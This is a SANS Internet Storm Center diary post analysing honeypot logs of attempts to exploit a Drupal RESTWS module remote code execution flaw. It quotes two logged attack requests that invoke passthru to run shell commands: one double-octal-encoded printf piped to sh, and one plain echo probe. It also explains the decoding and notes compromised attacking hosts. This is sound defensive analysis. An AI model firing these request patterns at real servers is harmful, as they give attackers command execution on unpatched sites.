Threat Level: green Handler on Duty: Didier Stevens

SANS ISC: Exploit Attempts for Drupal RESTWS .x Module Vulnerability SANS ISC InfoSec Forums

Watch ISC TV. Great for NOCs, SOCs and Living Rooms: https://isctv.sans.edu

Sign Up for Free!   Forgot Password?
Log In or Sign Up for Free!
Exploit Attempts for Drupal RESTWS .x Module Vulnerability

Attackers usually don't have to worry much about Drupal administrators applying patches. The majority of exploit attempts I see in our honeypots use pretty ancient vulnerabilities. So I was happy to see a script kiddie go the extra mile and use a vulnerability released in July of this year [1] [2].

The vulnerability itself is very straight forward. The attacker can send arbitrary php code that will be executed on the server. No special encoding beyond URL encoding appears to be required.

Here is the exploit string as found in my logs:

GET /?q=taxonomy_vocabulary//passthru/printf+%22printf%5C040%5C047%5C134%5C060%5C066%5C061%5C134%5C061%5C060%5C065%5C134%5C061%5C061%5C066%5C134%5C061%5C061%5C062%5C134%5C061%5C061%5C066%5C134%5C061%5C062%5C060%5C134%5C061%5C060%5C062%5C134%5C061%5C062%5C065%5C134%5C061%5C066%5C062%5C134%5C061%5C062%5C063%5C047%22%7Csh+

Decoding this leads to:

"printf\040\047\134\060\066\061\134\061\060\065\134\061\061\066\134\061\061\062\134\061\061\066\134\061\062\060\134\061\060\062\134\061\062\065\134\061\066\062\134\061\062\063\047"|sh

which is actually "double octal encoded" and would just print the string "1ENJNPBUrS", likely trying to find indicators of vulnerable systems.

So far in our honeypot, I got 44 attempts today from 16 different IPs. Expliot attempts go back to July, just after the vulnerability was announced. Earlier versions use a slightly different test:

GET /?q=taxonomy_vocabulary/XuMWvA8KTq/passthru/echo%20ktKPt14N9p HTTP/1.1

So they skip the octal/URL encoding part.

I used Bing's IP address search to check some of the IP addresses attacking the honeypot (for example, try a Bing search for "ip:117.240.207.43", but don't click on the result. The site is likely compromised). Most of the IPs appear to be running Drupal sites and are likely exploited and used to scan for more victims.

In my quick sampling, I didn't find any obvious malicious content on these sites. I would have expected some advertisement or maybe even malware, but maybe they are still building out their network.

[1] https://www.mehmetince.net/exploit/drupal-restws-module-7x-remote-php-code-execution
[2] https://www.drupal.org/node/2765567

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

I will be teaching next: Defending Web Applications Security Essentials - SANS San Francisco Spring 2020

Johannes

3693 Posts
ISC Handler

Sign Up for Free or Log In to start participating in the conversation!